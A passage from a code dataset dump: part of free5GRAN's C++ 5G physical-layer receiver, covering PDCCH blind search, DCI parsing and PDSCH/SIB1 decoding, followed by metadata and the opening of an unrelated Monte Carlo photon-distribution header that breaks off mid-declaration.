n0: \" + to_string(pdcch_ss_mon_occ.n0) ;\n    BOOST_LOG_TRIVIAL(trace) << \"## ODD/EVEN ?: \" + to_string(pdcch_ss_mon_occ.sfn_parity);\n\n    /*\n     * Getting candidate frame which satisfies Search Space SFN parity\n     */\n    int frame;\n    if (frame_numbers[0] % 2 == pdcch_ss_mon_occ.sfn_parity){\n        frame = 0;\n    }else {\n        frame = 1;\n    }\n\n    BOOST_LOG_TRIVIAL(trace) << \"## FRAME: \" + to_string(frame);\n\n    /*\n     * Normalizing signal\n     */\n    complex<float> rms = 0;\n    frame_data.resize(frame_size);\n    for (int i = 0; i < frame_size; i ++){\n        frame_data[i] = buff[i + frame_indexes[frame][0]];\n        rms += abs(pow(frame_data[i],2));\n    }\n    rms = sqrt(rms/complex<float>(frame_size,0));\n    for (int i = 0; i < frame_size; i ++){\n        frame_data[i] = frame_data[i] / rms;\n    }\n\n    /*\n     * Computing phase offset from SSB, based on RB offset and k_ssb and transposing signal to center on current BWP (which is here CORESET0)\n     */\n    float freq_diff = 12 * 1e3 * mib_object.scs * (pdcch_ss_mon_occ.n_rb_coreset / 2 - (10 * ((float) scs / (1e3*mib_object.scs)) + pdcch_ss_mon_occ.offset));\n    float freq_diff2 = - 15e3 * mib_object.k_ssb;\n    free5GRAN::phy::signal_processing::transpose_signal(&frame_data, freq_diff + freq_diff2 , rf_device->getSampleRate(), frame_size);\n\n    BOOST_LOG_TRIVIAL(trace) << \"## FREQ DIFF 1: \" + to_string(freq_diff);\n    BOOST_LOG_TRIVIAL(trace) << \"## FREQ DIFF 2: \" + to_string(freq_diff2);\n\n    /*\n     * Logging frame data to text file for plotting\n     */\n    ofstream data;\n    data.open(\"output_files/studied_frame.txt\");\n    for (int i = 0; i < frame_size; i ++){\n        data << frame_data[i];\n        data << \"\\n\";\n    }\n    data.close();\n\n    /*\n     * Plotting 4 slots around PDCCH monitoring slots\n     */\n    int begin_index = (pdcch_ss_mon_occ.n0-1) * frame_size / num_slots_per_frame;\n    begin_index = max(begin_index,0);\n    ofstream data2;\n    data2.open(\"output_files/moniroting_slots.txt\");\n    for (int i = 0; i < 4 * frame_size / num_slots_per_frame; i ++){\n        data2 << frame_data[i + begin_index];\n        data2 << \"\\n\";\n    }\n    data2.close();\n\n    /*\n     * Initialize arrays\n     */\n    int num_sc_coreset_0 = 12 * pdcch_ss_mon_occ.n_rb_coreset;\n\n    /*\n     * Compute CCE-to-REG mapping From TS38.211 7.3.2.2\n     */\n    int height_reg_rb = free5GRAN::NUMBER_REG_PER_CCE / pdcch_ss_mon_occ.n_symb_coreset;\n    int R = 2;\n    int C = pdcch_ss_mon_occ.n_rb_coreset / (height_reg_rb * R);\n    int j;\n    int reg_index[C * R];\n    for (int c = 0; c < C; c ++){\n        for (int r = 0; r < R; r ++){\n            j = c * R + r;\n            reg_index[j] = (r * C + c + this->pci) % (pdcch_ss_mon_occ.n_rb_coreset/height_reg_rb);\n        }\n    }\n    for (int i = 0 ; i < C * R ; i ++){\n        BOOST_LOG_TRIVIAL(trace) << \"## CCE\"+ to_string(i) + \": REG\" + to_string(reg_index[i]);\n    }\n\n    /*\n     * Computing current BWP CP lengths\n     */\n    int num_symbols_per_subframe_pdcch = free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP * mib_object.scs/15;\n    int cp_lengths_pdcch[num_symbols_per_subframe_pdcch];\n    int cum_sum_pdcch[num_symbols_per_subframe_pdcch];\n    free5GRAN::phy::signal_processing::compute_cp_lengths(mib_object.scs, fft_size, is_extended_cp, num_symbols_per_subframe_pdcch, &cp_lengths_pdcch[0], &cum_sum_pdcch[0]);\n\n    ofstream data_pdcch;\n\n    int K, freq_domain_ra_size;\n    /*\n     * Number of bits for Frequency domain allocation in DCI\n     */\n    freq_domain_ra_size = ceil(log2(pdcch_ss_mon_occ.n_rb_coreset*(pdcch_ss_mon_occ.n_rb_coreset+1) / 2));\n    /*\n     * K is the DCI payload size including CRC\n     */\n    K = freq_domain_ra_size + 4 + 1 + 5 + 2 + 1 + 15 + 24;\n\n    float snr;\n    bool validated = false;\n    int agg_level, num_candidates, dci_decoded_bits[K-24];\n    vector<vector<complex<float>>> global_sequence(pdcch_ss_mon_occ.n_symb_coreset, vector<complex<float>>(pdcch_ss_mon_occ.n_rb_coreset * 3));\n    vector<vector<vector<int>>> ref(2, vector<vector<int>>(pdcch_ss_mon_occ.n_symb_coreset, vector<int>(12 * pdcch_ss_mon_occ.n_rb_coreset)));\n    vector<vector<complex<float>>> coreset_0_samples(pdcch_ss_mon_occ.n_symb_coreset, vector<complex<float>>(num_sc_coreset_0));\n    vector<vector<complex<float>>> coefficients(pdcch_ss_mon_occ.n_symb_coreset, vector<complex<float>>(num_sc_coreset_0));\n\n    /*\n     * PDCCH blind search. First, loop over every monitoring slot\n     */\n    BOOST_LOG_TRIVIAL(trace) << \"### PDCCH BLIND SEARCH\";\n    for (int monitoring_slot = 0; monitoring_slot < 2; monitoring_slot ++){\n        pdcch_ss_mon_occ.monitoring_slot = monitoring_slot;\n        BOOST_LOG_TRIVIAL(trace) << \"## MONITORING SLOT: \"+ to_string(monitoring_slot);\n\n        /*\n         * Extract corresponding CORESET0 samples. CORESET0 number of symbols is given by PDCCH config in MIB\n         * Recover RE grid from time domain signal\n         */\n        free5GRAN::phy::signal_processing::fft(frame_data, coreset_0_samples,fft_size,cp_lengths_pdcch,cum_sum_pdcch,pdcch_ss_mon_occ.n_symb_coreset,num_sc_coreset_0,pdcch_ss_mon_occ.first_symb_index, (pdcch_ss_mon_occ.n0 + monitoring_slot) * frame_size / num_slots_per_frame);\n        for (int symb = 0; symb < pdcch_ss_mon_occ.n_symb_coreset; symb ++){\n            /*\n             * Generate DMRS sequence for corresponding symbols\n             */\n            free5GRAN::utils::sequence_generator::generate_pdcch_dmrs_sequence(pci, pdcch_ss_mon_occ.n0 + monitoring_slot, pdcch_ss_mon_occ.first_symb_index + symb, global_sequence[symb], pdcch_ss_mon_occ.n_rb_coreset * 3);\n        }\n        /*\n         * Loop over possible aggregation level (from 2 to 4 included) and candidates\n         */\n        for (int i = 2; i < 5; i ++){\n            agg_level = pow(2, i);\n            if (agg_level <= pdcch_ss_mon_occ.n_rb_coreset / height_reg_rb){\n                vector<vector<vector<int>>> channel_indexes = {vector<vector<int>>(2, vector<int>((size_t) agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9)), vector<vector<int>>(2, vector<int>((size_t) agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3))};\n                vector<complex<float>> pdcch_symbols((size_t) agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9);\n                complex<float> temp_pdcch_symbols[agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9];\n                complex<float> dmrs_symbols[agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3];\n                complex<float> dmrs_sequence[agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3];\n                int reg_bundles[agg_level];\n                int reg_bundles_ns[agg_level];\n                int dci_bits[agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9 * 2];\n\n                BOOST_LOG_TRIVIAL(trace) << \"## AGGREGATION LEVEL\"+ to_string(agg_level);\n                num_candidates = pdcch_ss_mon_occ.n_rb_coreset / (agg_level * height_reg_rb);\n                /*\n                 * Loop over candidates of current aggregation level\n                 */\n                for (int p = 0; p < num_candidates; p ++){\n                    BOOST_LOG_TRIVIAL(trace) << \"## CANDIDATE \"+ to_string(p);\n                    /*\n                     * Extract REG bundles for current candidate and aggregation level\n                     */\n                    for (int l = 0; l < agg_level; l ++){\n                        reg_bundles[l] = reg_index[l + p * agg_level];\n                        reg_bundles_ns[l] = reg_index[l + p * agg_level];\n                    }\n                    sort(reg_bundles, reg_bundles+agg_level);\n                    /*\n                     * PDCCH samples extraction\n                     */\n                    for (int symbol = 0; symbol < pdcch_ss_mon_occ.n_symb_coreset; symbol ++) {\n                        for (int sc = 0; sc < 12 * pdcch_ss_mon_occ.n_rb_coreset; sc ++){\n                            ref[1][symbol][sc] = 0;\n                            ref[0][symbol][sc] = 0;\n                        }\n                    }\n                    /*\n                     * Computing PDCCH candidate position in RE grid\n                     */\n                    free5GRAN::phy::physical_channel::compute_pdcch_indexes(ref, pdcch_ss_mon_occ, agg_level, reg_bundles, height_reg_rb);\n                    /*\n                     * Channel de-mapping\n                     */\n                    complex<float>* output_channels[] = {temp_pdcch_symbols,dmrs_symbols};\n                    free5GRAN::phy::signal_processing::channel_demapper(coreset_0_samples, ref, output_channels, channel_indexes, 2, pdcch_ss_mon_occ.n_symb_coreset, 12 * pdcch_ss_mon_occ.n_rb_coreset);\n                    /*\n                     * DMRS CCE-to-REG de-mapping/de-interleaving\n                     */\n                    for (int k = 0 ; k < agg_level; k ++){\n                        for (int reg = 0; reg < free5GRAN::NUMBER_REG_PER_CCE; reg ++){\n                            dmrs_sequence[((agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3) / pdcch_ss_mon_occ.n_symb_coreset) * (reg%pdcch_ss_mon_occ.n_symb_coreset) +  k * height_reg_rb * 3 + (reg/pdcch_ss_mon_occ.n_symb_coreset) * 3] = global_sequence[reg%pdcch_ss_mon_occ.n_symb_coreset][reg_bundles[k] * height_reg_rb * 3 + (reg/pdcch_ss_mon_occ.n_symb_coreset) * 3];\n                            dmrs_sequence[((agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3) / pdcch_ss_mon_occ.n_symb_coreset) * (reg%pdcch_ss_mon_occ.n_symb_coreset) +  k * height_reg_rb * 3 + (reg/pdcch_ss_mon_occ.n_symb_coreset) * 3 + 1] = global_sequence[reg%pdcch_ss_mon_occ.n_symb_coreset][reg_bundles[k] * height_reg_rb * 3 + (reg/pdcch_ss_mon_occ.n_symb_coreset) * 3 + 1];\n                            dmrs_sequence[((agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3) / pdcch_ss_mon_occ.n_symb_coreset) * (reg%pdcch_ss_mon_occ.n_symb_coreset) +  k * height_reg_rb * 3 + (reg/pdcch_ss_mon_occ.n_symb_coreset) * 3 + 2] = global_sequence[reg%pdcch_ss_mon_occ.n_symb_coreset][reg_bundles[k] * height_reg_rb * 3 + (reg/pdcch_ss_mon_occ.n_symb_coreset) * 3 + 2];\n                        }\n                    }\n                    /*\n                     * Channel estimation\n                     */\n                    free5GRAN::phy::signal_processing::channelEstimation(dmrs_symbols, dmrs_sequence, channel_indexes[1],coefficients, snr, 12 * pdcch_ss_mon_occ.n_rb_coreset, pdcch_ss_mon_occ.n_symb_coreset , agg_level * free5GRAN::NUMBER_REG_PER_CCE * 3);\n                    /*\n                     * Channel equalization\n                     */\n                    for (int sc = 0; sc < agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9; sc ++){\n                        pdcch_symbols[sc] = (temp_pdcch_symbols[sc]) * conj(coefficients[channel_indexes[0][0][sc]][channel_indexes[0][1][sc]]) / (float) pow(abs(coefficients[channel_indexes[0][0][sc]][channel_indexes[0][1][sc]]),2);\n                    }\n                    /*\n                     * PDCCH and DCI decoding\n                     */\n                    free5GRAN::phy::physical_channel::decode_pdcch(pdcch_symbols,dci_bits,agg_level, reg_bundles_ns, reg_bundles, pci);\n                    free5GRAN::phy::transport_channel::decode_dci(dci_bits, agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9 * 2, K, free5GRAN::SI_RNTI, validated, dci_decoded_bits);\n                    /*\n                     * If DCI CRC is validated, candidate is validated, blind search ends\n                     */\n                    if (validated){\n                        data_pdcch.open(\"output_files/pdcch_constellation.txt\");\n                        for (int sc = 0; sc < agg_level * free5GRAN::NUMBER_REG_PER_CCE * 9; sc ++){\n                            data_pdcch << pdcch_symbols[sc];\n                            data_pdcch << \"\\n\";\n                        }\n                        data_pdcch.close();\n                        goto dci_found_and_validated;\n                    }\n\n                }\n            }else {\n                break;\n            }\n        }\n    }\n\n    dci_found_and_validated:\n    BOOST_LOG_TRIVIAL(trace) << \"## DCI FOUND AND \" << ((validated) ? \"VALIDATED\" :  \"NOT VALIDATED\");\n\n    dci_found = false;\n    if (validated){\n        parse_dci_1_0_si_rnti(dci_decoded_bits,freq_domain_ra_size,dci_1_0_si_rnti);\n        n_size_bwp = pdcch_ss_mon_occ.n_rb_coreset;\n        /*\n         * In current version, only redundancy version 0 and 3 are supported for DL-SCH decoding\n         */\n        if (dci_1_0_si_rnti.rv == 0 || dci_1_0_si_rnti.rv == 3){\n            dci_found = true;\n        }\n\n    }\n}\n\nvoid phy::print_dci_info() {\n    /**\n     * \\fn print_dci_info\n     * \\brief Print DCI decoded informations\n    */\n    cout << \"###### DCI\" << endl;\n    cout << \"# RIV: \" + to_string(dci_1_0_si_rnti.RIV)<< endl;\n    cout << \"# Time Domain RA: \" + to_string(dci_1_0_si_rnti.TD_ra) << endl;\n    cout << ((dci_1_0_si_rnti.vrb_prb_interleaving == 0 ) ? \"# Non-interleaved VRB to PRB\" :  \"# Interleaved VRB to PRB\") << endl;\n    cout << \"# Modulation coding scheme: \" + to_string(dci_1_0_si_rnti.mcs) << endl;\n    cout << \"# Redudancy version: \" + to_string(dci_1_0_si_rnti.rv) << endl;\n    cout << ((dci_1_0_si_rnti.si == 0 ) ? \"# SIB1 message\" :  \"# Other SIB message\") << endl;\n    cout << \"#######################################################################\" << endl;\n    if (dci_1_0_si_rnti.rv == 1 || dci_1_0_si_rnti.rv == 2){\n        cout << \"WARNING: Redudancy version \" + to_string(dci_1_0_si_rnti.rv) << \" is not supported by current decoder. To decode SIB1 data on this cell, please use CELL_SEARCH function in config and specify the cell frequency. Retry until redundancy version is not 1 or 2\" << endl;\n        cout << \"#######################################################################\" << endl;\n    }\n    cout << \"\\n\";\n}\n\nvoid phy::parse_dci_1_0_si_rnti(int *dci_bits, int freq_domain_ra_size, free5GRAN::dci_1_0_si_rnti &dci) {\n    /**\n     * \\fn parse_dci_1_0_si_rnti\n     * \\brief Parse DCI informations\n     * \\param[in] dci_bits: DCI decoded bits\n     * \\param[in] freq_domain_ra_size: Number of bits used for frequency allocation in DCI\n     * \\param[out] dci: Filled DCI object\n    */\n\n    dci.RIV = 0;\n    for (int i = 0 ; i < freq_domain_ra_size; i ++){\n        dci.RIV += dci_bits[i] * pow(2, freq_domain_ra_size - i - 1);\n    }\n    dci.TD_ra = 0;\n    for (int i = 0; i < 4; i ++){\n        dci.TD_ra += dci_bits[i + freq_domain_ra_size] * pow(2, 4 - i - 1);\n    }\n\n    dci.vrb_prb_interleaving = dci_bits[freq_domain_ra_size + 4];\n\n    dci.mcs = 0;\n    for (int i = 0; i < 5; i ++){\n        dci.mcs += dci_bits[i + freq_domain_ra_size + 4 + 1] * pow(2, 5 - i - 1);\n    }\n\n    dci.rv = 0;\n    for (int i = 0; i < 2; i ++){\n        dci.rv += dci_bits[i + freq_domain_ra_size + 4 + 1 + 5] * pow(2, 2 - i - 1);\n    }\n\n    dci.si = dci_bits[freq_domain_ra_size + 4 + 1 + 5 + 2];\n}\n\nvoid phy::extract_pdsch() {\n    /**\n     * \\fn extract_pdsch\n     * \\brief PDSCH extraction, PDSCH decoding, DL-SCH decoding and SIB1 parsing\n     * \\details\n     * - Parameters extraction from DCI and standard\n     * - Phase de-compensation. Looping over different possible phase compensation:\n     *  -# Signal extraction, FFT and resource element de-mapper\n     *  -# Channel estimation & equalization\n     *  -# PDSCH decoding\n     *  -# DL-SCH decoding\n     *  -# If CRC is validated, phase de-compensation is validated and functions continues. Otherwise, another phase de-compensation is tried.\n     * - SIB1 parsing using ASN1C\n    */\n\n    BOOST_LOG_TRIVIAL(trace) << \"#### DECODING PDSCH\";\n    /*\n     * Extracting PDSCH time and frequency position\n     */\n    int lrb, rb_start, k0, S, L, mod_order, code_rate, l0;\n    free5GRAN::phy::signal_processing::compute_rb_start_lrb_dci(dci_1_0_si_rnti.RIV, n_size_bwp,lrb,rb_start);\n    k0 = free5GRAN::TS_38_214_TABLE_5_1_2_1_1_2[dci_1_0_si_rnti.TD_ra][mib_object.dmrs_type_a_position - 2][1];\n    S = free5GRAN::TS_38_214_TABLE_5_1_2_1_1_2[dci_1_0_si_rnti.TD_ra][mib_object.dmrs_type_a_position - 2][2];\n    L = free5GRAN::TS_38_214_TABLE_5_1_2_1_1_2[dci_1_0_si_rnti.TD_ra][mib_object.dmrs_type_a_position - 2][3];\n    string mapping_type = ((free5GRAN::TS_38_214_TABLE_5_1_2_1_1_2[dci_1_0_si_rnti.TD_ra][mib_object.dmrs_type_a_position - 2][0] == 0 ) ? \"A\" :  \"B\");\n    mod_order = free5GRAN::TS_38_214_TABLE_5_1_3_1_1[dci_1_0_si_rnti.mcs][0];\n    code_rate = free5GRAN::TS_38_214_TABLE_5_1_3_1_1[dci_1_0_si_rnti.mcs][1];\n    BOOST_LOG_TRIVIAL(trace) << \"## Frequency domain RA: RB Start \" + to_string(rb_start) + \" and LRB \" + to_string(lrb) ;\n    BOOST_LOG_TRIVIAL(trace) << \"## Time domain RA: K0 \" + to_string(k0) + \", S \" + to_string(S) + \" and L \" + to_string(L) + \" (mapping type \"+mapping_type+\")\";\n    BOOST_LOG_TRIVIAL(trace) << \"## MCS: Order \" + to_string(mod_order) + \" and code rate \" + to_string(code_rate);\n    BOOST_LOG_TRIVIAL(trace) << \"## Slot number \" + to_string(pdcch_ss_mon_occ.n0 + pdcch_ss_mon_occ.monitoring_slot + k0);\n\n    /*\n     * Compute number of additionnal DMRS positions\n     */\n    int additionnal_position;\n    if (mapping_type == \"A\"){\n        additionnal_position = 2;\n    }else {\n        if (L == 2 || L == 4){\n            additionnal_position = 0;\n        }else if(L == 7){\n            additionnal_position = 1;\n        }else {\n            additionnal_position = 0;\n        }\n    }\n\n    int *dmrs_symbols, num_symbols_dmrs;\n    /*\n     * Get PDSCH DMRS symbols indexes\n     */\n    free5GRAN::phy::signal_processing::get_pdsch_dmrs_symbols(mapping_type, L + S, additionnal_position, mib_object.dmrs_type_a_position, &dmrs_symbols, num_symbols_dmrs);\n\n    float snr;\n\n    complex<float> dmrs_sequence[6 * lrb * num_symbols_dmrs];\n\n    int count_dmrs_symbol = 0;\n\n\n    int num_symbols_per_subframe_pdsch = free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP * mib_object.scs/15;\n    int cp_lengths_pdsch[num_symbols_per_subframe_pdsch];\n    int cum_sum_pdsch[num_symbols_per_subframe_pdsch];\n\n    vector<vector<complex<float>>> pdsch_ofdm_symbols(L, vector<complex<float>>(12 * pdcch_ss_mon_occ.n_rb_coreset)), pdsch_samples(L, vector<complex<float>>(12 * lrb));\n    vector<vector<vector<int>>> ref(2, vector<vector<int>>(L, vector<int>(12 * lrb)));\n    vector<vector<vector<int>>> channel_indexes = {vector<vector<int>>(2, vector<int>((size_t) 12 * lrb * (L - num_symbols_dmrs))), vector<vector<int>>(2, vector<int>((size_t) 6 * lrb * num_symbols_dmrs))};\n    vector<vector<complex<float>>> coefficients(L, vector<complex<float>>(12 * lrb));\n    complex<float> temp_dmrs_sequence[6 * pdcch_ss_mon_occ.n_rb_coreset], pdsch_samples_only[12 * lrb * (L - num_symbols_dmrs)], dmrs_samples_only[6 * lrb * num_symbols_dmrs];\n\n    /*\n     * Compute PDSCH CP lengths (same as PDCCH, as it is the same BWP)\n     */\n    free5GRAN::phy::signal_processing::compute_cp_lengths(mib_object.scs, fft_size, is_extended_cp, num_symbols_per_subframe_pdsch, cp_lengths_pdsch, cum_sum_pdsch);\n\n    /*\n     * Recover RE grid from time domain signal\n     */\n    free5GRAN::phy::signal_processing::fft(frame_data, pdsch_ofdm_symbols,fft_size,cp_lengths_pdsch,cum_sum_pdsch,L,12 * pdcch_ss_mon_occ.n_rb_coreset,S, (pdcch_ss_mon_occ.n0 + pdcch_ss_mon_occ.monitoring_slot + k0) * frame_size / num_slots_per_frame);\n\n    bool dmrs_symbol_array[L];\n    /*\n     * PDSCH extraction\n     */\n    for (int symb = 0; symb < L; symb ++){\n        bool dmrs_symbol = false;\n        /*\n         * Check if studied symbol is a DMRS\n         */\n        for (int j = 0; j < num_symbols_dmrs; j ++){\n            if (symb + S == dmrs_symbols[j]){\n                dmrs_symbol = true;\n                break;\n            }\n        }\n        dmrs_symbol_array[symb] = dmrs_symbol;\n        /*\n         * Get DMRS sequence\n         */\n        free5GRAN::utils::sequence_generator::generate_pdsch_dmrs_sequence(free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP, pdcch_ss_mon_occ.n0 + pdcch_ss_mon_occ.monitoring_slot + k0, symb + S, 0, pci, temp_dmrs_sequence, 6 * pdcch_ss_mon_occ.n_rb_coreset);\n        if (dmrs_symbol){\n            for (int i = 0; i < 6 * lrb; i ++){\n                dmrs_sequence[count_dmrs_symbol * 6 * lrb + i] = temp_dmrs_sequence[rb_start * 6 + i];\n            }\n            count_dmrs_symbol += 1;\n        }\n\n        for (int i = 0; i < 12 * lrb; i ++){\n            pdsch_samples[symb][i] = pdsch_ofdm_symbols[symb][12 * rb_start + i];\n        }\n    }\n    free5GRAN::phy::physical_channel::compute_pdsch_indexes(ref, dmrs_symbol_array, L, lrb);\n    /*\n     * Channel de-mapping\n     */\n    complex<float>* output_channels[] = {pdsch_samples_only,dmrs_samples_only};\n    free5GRAN::phy::signal_processing::channel_demapper(pdsch_samples, ref, output_channels, channel_indexes, 2, L, 12 * lrb);\n    bool validated;\n    float f0 = 0;\n    /*\n    * Phase decompensator. As phase compensation is not known a priori, we have to loop over different possibles phase compensation for decoding\n    */\n    for (int phase_decomp_index = 0; phase_decomp_index < 50; phase_decomp_index++){\n        /*\n         * Compute phase decomp value\n         */\n        f0 += (phase_decomp_index % 2) * pow(2,mu) * 1e3;\n        float phase_offset = (phase_decomp_index % 2) ? f0 : -f0;\n        BOOST_LOG_TRIVIAL(trace) << \"PHASE DECOMP \" << phase_offset ;\n        complex<float> phase_decomp[num_symbols_per_subframe_pdsch];\n        /*\n         * Compute phase decompensation value for each symbol in  a subframe\n         */\n        free5GRAN::phy::signal_processing::compute_phase_decomp(cp_lengths_pdsch, cum_sum_pdsch, rf_device->getSampleRate(),phase_offset,num_symbols_per_subframe_pdsch,phase_decomp);\n        /*\n         * Phase de-compensation\n         */\n        for (int samp = 0; samp < 12 * lrb * (L - num_symbols_dmrs); samp ++){\n            pdsch_samples_only[samp] = pdsch_samples_only[samp] * phase_decomp[((pdcch_ss_mon_occ.n0 + pdcch_ss_mon_occ.monitoring_slot + k0) % (num_slots_per_frame / 10)) * free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP + S + channel_indexes[0][0][samp]];\n        }\n        for (int samp = 0; samp < 6 * lrb * num_symbols_dmrs; samp ++){\n            dmrs_samples_only[samp] = dmrs_samples_only[samp] * phase_decomp[((pdcch_ss_mon_occ.n0 + pdcch_ss_mon_occ.monitoring_slot + k0) % (num_slots_per_frame / 10)) * free5GRAN::NUMBER_SYMBOLS_PER_SLOT_NORMAL_CP + S + channel_indexes[1][0][samp]];\n        }\n        /*\n         * Channel estimation\n         */\n        free5GRAN::phy::signal_processing::channelEstimation(dmrs_samples_only, dmrs_sequence, channel_indexes[1],coefficients, snr, 12 * lrb, L, 6 * lrb * num_symbols_dmrs);\n        /*\n         * Channel equalization\n         */\n        vector<complex<float>> pdsch_samples_vector((size_t) 12 * lrb * (L - num_symbols_dmrs));\n        for (int sc = 0; sc <  12 * lrb * (L - num_symbols_dmrs); sc ++){\n            pdsch_samples_vector[sc] = (pdsch_samples_only[sc]) * conj(coefficients[channel_indexes[0][0][sc]][channel_indexes[0][1][sc]]) / (float) pow(abs(coefficients[channel_indexes[0][0][sc]][channel_indexes[0][1][sc]]),2);\n        }\n\n        ofstream data_pdsch;\n        data_pdsch.open(\"output_files/pdsch_constellation.txt\");\n        for (int i = 0; i < 12 * lrb * (L - num_symbols_dmrs); i ++){\n            data_pdsch << pdsch_samples_vector[i];\n            data_pdsch << \"\\n\";\n        }\n        data_pdsch.close();\n\n        /*\n         * PDSCH and DL-SCH decoding\n         */\n        double dl_sch_bits[2 * pdsch_samples_vector.size()];\n        free5GRAN::phy::physical_channel::decode_pdsch(pdsch_samples_vector, dl_sch_bits, pci);\n        int n_re = free5GRAN::phy::signal_processing::compute_nre(L, num_symbols_dmrs);\n\n        vector<int> desegmented = free5GRAN::phy::transport_channel::decode_dl_sch(dl_sch_bits, n_re, (float) code_rate / (float) 1024, lrb,2 * pdsch_samples_vector.size(), validated, dci_1_0_si_rnti);\n        /*\n         * If DL-SCH CRC is validated, Phase decompensation is validated\n         */\n        if (validated){\n            for (int i =0; i < desegmented.size(); i ++){\n                cout << desegmented[i];\n            }\n            cout << \"\\n\";\n            int bytes_size = (int) ceil(desegmented.size()/8.0);\n            uint8_t dl_sch_bytes[bytes_size];\n            for (int i = 0; i < desegmented.size(); i ++){\n                if (i % 8 == 0){\n                    dl_sch_bytes[i/8] = 0;\n                }\n                dl_sch_bytes[i/8] += desegmented[i] * pow(2, 8 - (i%8) - 1);\n            }\n            asn_dec_rval_t dec_rval = asn_decode(0, ATS_UNALIGNED_BASIC_PER, &asn_DEF_BCCH_DL_SCH_Message,(void **) &sib1, dl_sch_bytes, bytes_size);\n            if (dec_rval.code == RC_OK) {\n                BOOST_LOG_TRIVIAL(trace) << \"SIB1 parsing succeeded\";\n            }\n            else {\n                BOOST_LOG_TRIVIAL(trace) << \"SIB1 parsing failed\";\n            }\n            break;\n        }\n    }\n\n}\n\nBCCH_DL_SCH_Message_t *phy::getSib() {\n    return this->sib1;\n}\n\nvoid phy::print_sib1() {\n    asn_fprint(stdout, &asn_DEF_BCCH_DL_SCH_Message, sib1);\n}\n\nint phy::getSIB1RV() {\n    return dci_1_0_si_rnti.rv;\n}\n", "meta": {"hexsha": "1817f657d3801c7707f38f69598375fc4eb957b0", "size": 50053, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/phy/phy.cpp", "max_stars_repo_name": "JiaoXianjun/free5GRAN", "max_stars_repo_head_hexsha": "bdbbd38edaf9bf3f315270637d9b7b3a269dd3bf", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2021-03-27T19:17:05.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-16T23:16:08.000Z", "max_issues_repo_path": "src/phy/phy.cpp", "max_issues_repo_name": "JiaoXianjun/free5GRAN", "max_issues_repo_head_hexsha": "bdbbd38edaf9bf3f315270637d9b7b3a269dd3bf", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/phy/phy.cpp", "max_forks_repo_name": "JiaoXianjun/free5GRAN", "max_forks_repo_head_hexsha": "bdbbd38edaf9bf3f315270637d9b7b3a269dd3bf", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-03-30T13:33:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-30T13:33:55.000Z", "avg_line_length": 45.2558770344, "max_line_length": 379, "alphanum_fraction": 0.6450362616, "num_tokens": 14489, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.26284184314569564, "lm_q1q2_score": 0.13244762663435272}}
{"text": "//---------------------------------------------------------------------------//\n//!\n//! \\file   MonteCarlo_DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution.hpp\n//! \\author Alex Robinson\n//! \\brief  The decoupled complete Doppler broadened photon energy dist. decl.\n//!\n//---------------------------------------------------------------------------//\n\n#ifndef MONTE_CARLO_DECOUPLED_COMPLETE_DOPPLER_BROADENED_PHOTON_ENERGY_DISTRIBUTION_HPP\n#define MONTE_CARLO_DECOUPLED_COMPLETE_DOPPLER_BROADENED_PHOTON_ENERGY_DISTRIBUTION_HPP\n\n// Boost Includes\n#include <boost/scoped_ptr.hpp>\n\n// FRENSE Includes\n#include \"MonteCarlo_CompleteDopplerBroadenedPhotonEnergyDistribution.hpp\"\n#include \"MonteCarlo_ComptonProfileSubshellConverter.hpp\"\n#include \"Utility_TabularOneDDistribution.hpp\"\n\nnamespace MonteCarlo{\n\n//! The decoupled complete Doppler broadenening photon energy dist. class\nclass DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution : public CompleteDopplerBroadenedPhotonEnergyDistribution\n{\n\npublic:\n  \n  //! Constructor\n  DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution(\n\t       const Teuchos::Array<double>& endf_subshell_occupancies,\n\t       const Teuchos::Array<SubshellType>& endf_subshell_order,\n\t       const Teuchos::Array<double>& old_subshell_binding_energies,\n\t       const Teuchos::Array<double>& old_subshell_occupancies,\n\t       const ElectronMomentumDistArray& electron_momentum_dist_array );\n\n  //! Destructor\n  virtual ~DecoupledCompleteDopplerBroadenedPhotonEnergyDistribution()\n  { /* ... */ }\n  \n\n  //! Evaluate the distribution\n  double evaluate( const double incoming_energy,\n\t\t   const double outgoing_energy,\n\t\t   const double scattering_angle_cosine ) const;\n    \n  //! Evaluate the subshell distribution\n  double evaluateSubshell( const double incoming_energy,\n\t\t\t   const double outgoing_energy,\n\t\t\t   const double scattering_angle_cosine,\n\t\t\t   const SubshellType subshell ) const;\n\n  //! Evaluate the PDF\n  double evaluatePDF( const double incoming_energy,\n\t\t      const double outgoing_energy,\n\t\t      const double scattering_angle_cosine ) const;\n\n  //! Evaluate the PDF\n  double evaluateSubshellPDF( const double incoming_energy,\n\t\t\t      const double outgoing_energy,\n\t\t\t      const double scattering_angle_cosine,\n\t\t\t      const SubshellType subshell ) const;\n\n  //! Evaluate the integrated cross section (b/mu)\n  double evaluateIntegratedCrossSection( const double 